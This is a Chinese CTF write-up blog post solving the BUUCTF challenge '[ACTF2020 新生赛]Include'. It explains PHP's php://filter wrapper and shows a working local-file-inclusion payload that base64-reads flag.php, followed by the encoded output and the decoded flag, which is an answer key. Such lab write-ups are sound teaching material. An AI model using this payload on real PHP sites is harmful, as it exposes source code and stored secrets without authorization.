CTFer成长记录——CTF之Web专题·[ACTF2020 新生赛]Include

发布时间 2023-07-27 18:31:56作者: MiracleWolf

一、题目链接

https://buuoj.cn/challenges#[ACTF2020%20新生赛]Include

二、解法步骤

  打开网页:

  

  有趣的是无论是查看源代码还是bp抓包都一无所获,这题考的是php的filter伪协议进行文件包含:

  php://filter:(from https://blog.csdn.net/qq_42404383/article/details/107852190)

resource=<要过滤的数据流>   //这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>       //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>      //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<两个链的筛选列表>        //任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

   一般我们使用php://filter/read=convert.base64-encode/resource=flag.php来进行文件读写。其中:convert.base64-encode就是一个过滤器,后面的flag.php就是要过滤的数据流,也就是要读取的文件。转换过滤器:convet:就是转换。这里后面接上base64就是将文件内容转换成base64。

  于是我们构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

  获取:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YjEyZDlmMDQtZjE4OC00NWMzLWEwMTktOTFhNWRhNGM1NjhjfQo=
  最后base64解密获得flag:flag{b12d9f04-f188-45c3-a019-91a5da4c568c}

三、总结

  本题涉及到了php中的filter过滤协议,如果从前端无论如何都找不到想要的信息,同时题目给了一定的暗示,例如include,你怎么也看不见我。就可以往filter上靠,尝试下。